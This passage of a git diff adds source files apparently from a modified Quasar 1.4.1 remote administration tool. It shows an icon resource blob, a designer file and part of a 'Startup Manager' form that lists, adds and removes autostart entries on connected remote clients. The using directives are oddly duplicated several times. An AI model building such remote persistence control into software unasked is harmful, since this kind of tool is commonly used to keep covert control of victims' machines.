tv/MvLX/0sK7/9vLxP+HeHH/GAwL/xsNDP9mWVX/raKd/9bNyv/s49//+vLv//z18v/16uX/6dnS/9vJ + wf/VxLz/5NTN/+XWz//dzcb/38/I/9vLxP/QwLn/t6eg/4d3cP9JOTL/JxcQ/zAgGf87KyT/OCgh/zgo + If89LSb/IhIL/2ZWT/98bGX/KhoT/zsrJP8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv85KSL/Nycg/yQRCf8mFQ3/OCki/zwsJf8vHxj/PCwl/419dv9HNzD/LR0W/6OT + jP/j08z/ybmy/829tv/Nvbb/zb22/93Nxv+FdnD/CgAA/11QS//VzMj/+/r5//////////////////// + //////////7///v5+P/z6+f/z764/6qYkP/Ht7D/4NHK/9DAuf/Nvbb/2MjB/97Ox//fz8j/zr63/4R0 + bf8vHxj/Lx8Y/zoqI/88LCX/Lh4X/zMjHP+Pf3j/Tj43/zUlHv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zgoIf81JB7/NiYf/zkpIv85KSL/IxMM/3xs + Zf/JubL/PS0m/y4eF/+pmZL/4tLL/8m5sv/Nvbb/zLy1/9fHwP+4qKH/IxQO/2RYU//59fP///////// + /////v7////////+/v////////////////////////////z5+P+4qaL/alhR/6KSi//j08z/1cW+/8i4 + sf/Lu7T/z7+4/9zMxf/l1c7/k4N8/ywcFf82Jh//Lh4X/yoaE/+JeXL/dGRd/ywcFf85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp + Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f + GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX + kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh + Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh + Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.Designer.cs new file mode 100755 index 0000000..f1bf147 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.Designer.cs @@ -0,0 +1,135 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmStartupManager + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter1 = new Quasar.Server.Utilities.ListViewColumnSorter(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmStartupManager)); + this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.addEntryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.removeEntryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.lstStartupItems = new Quasar.Server.Controls.AeroListView(); + this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hPath = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.contextMenuStrip.SuspendLayout(); + this.SuspendLayout(); + // + // contextMenuStrip + // + this.contextMenuStrip.ImageScalingSize = new System.Drawing.Size(16, 16); + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.addEntryToolStripMenuItem, + this.removeEntryToolStripMenuItem}); + this.contextMenuStrip.Name = "ctxtMenu"; + this.contextMenuStrip.Size = new System.Drawing.Size(174, 56); + // + // addEntryToolStripMenuItem + // + this.addEntryToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_add; + this.addEntryToolStripMenuItem.Name = "addEntryToolStripMenuItem"; + this.addEntryToolStripMenuItem.Size = new System.Drawing.Size(173, 26); + this.addEntryToolStripMenuItem.Text = "Add Entry"; + this.addEntryToolStripMenuItem.Click += new System.EventHandler(this.addEntryToolStripMenuItem_Click); + // + // removeEntryToolStripMenuItem + // + this.removeEntryToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_delete; + this.removeEntryToolStripMenuItem.Name = "removeEntryToolStripMenuItem"; + this.removeEntryToolStripMenuItem.Size = new System.Drawing.Size(173, 26); + this.removeEntryToolStripMenuItem.Text = "Remove Entry"; + this.removeEntryToolStripMenuItem.Click += new System.EventHandler(this.removeEntryToolStripMenuItem_Click); + // + // lstStartupItems + // + this.lstStartupItems.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lstStartupItems.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hName, + this.hPath}); + this.lstStartupItems.ContextMenuStrip = this.contextMenuStrip; + this.lstStartupItems.ForeColor = System.Drawing.Color.White; + this.lstStartupItems.FullRowSelect = true; + this.lstStartupItems.GridLines = true; + this.lstStartupItems.HideSelection = false; + this.lstStartupItems.Location = new System.Drawing.Point(15, 15); + listViewColumnSorter1.NeedNumberCompare = false; + listViewColumnSorter1.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter1.SortColumn = 0; + this.lstStartupItems.LvwColumnSorter = listViewColumnSorter1; + this.lstStartupItems.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.lstStartupItems.Name = "lstStartupItems"; + this.lstStartupItems.Size = new System.Drawing.Size(815, 435); + this.lstStartupItems.TabIndex = 0; + this.lstStartupItems.UseCompatibleStateImageBehavior = false; + this.lstStartupItems.View = System.Windows.Forms.View.Details; + // + // hName + // + this.hName.Text = "Name"; + this.hName.Width = 187; + // + // hPath + // + this.hPath.Text = "Path"; + this.hPath.Width = 460; + // + // FrmStartupManager + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(846, 466); + this.Controls.Add(this.lstStartupItems); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.MinimumSize = new System.Drawing.Size(808, 488); + this.Name = "FrmStartupManager"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Startup Manager []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmStartupManager_FormClosing); + this.Load += new System.EventHandler(this.FrmStartupManager_Load); + this.contextMenuStrip.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.ColumnHeader hName; + private System.Windows.Forms.ColumnHeader hPath; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem addEntryToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem removeEntryToolStripMenuItem; + private Controls.AeroListView lstStartupItems; + + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.cs new file mode 100755 index 0000000..f3ecf64 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.cs @@ -0,0 +1,205 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmStartupManager : Form + { + /// + /// The client which can be used for the startup manager. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly StartupManagerHandler _startupManagerHandler; + + /// + /// Holds the opened startup manager form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new startup manager form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the startup manager form. + /// + /// Returns a new startup manager form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmStartupManager CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmStartupManager f = new FrmStartupManager(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote desktop form. + public FrmStartupManager(Client client) + { + _connectClient = client; + _startupManagerHandler = new StartupManagerHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the startup manager message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _startupManagerHandler.ProgressChanged += StartupItemsChanged; + MessageHandler.Register(_startupManagerHandler); + } + + /// + /// Unregisters the startup manager message handler. + /// + private void UnregisterMessageHandler() + { + 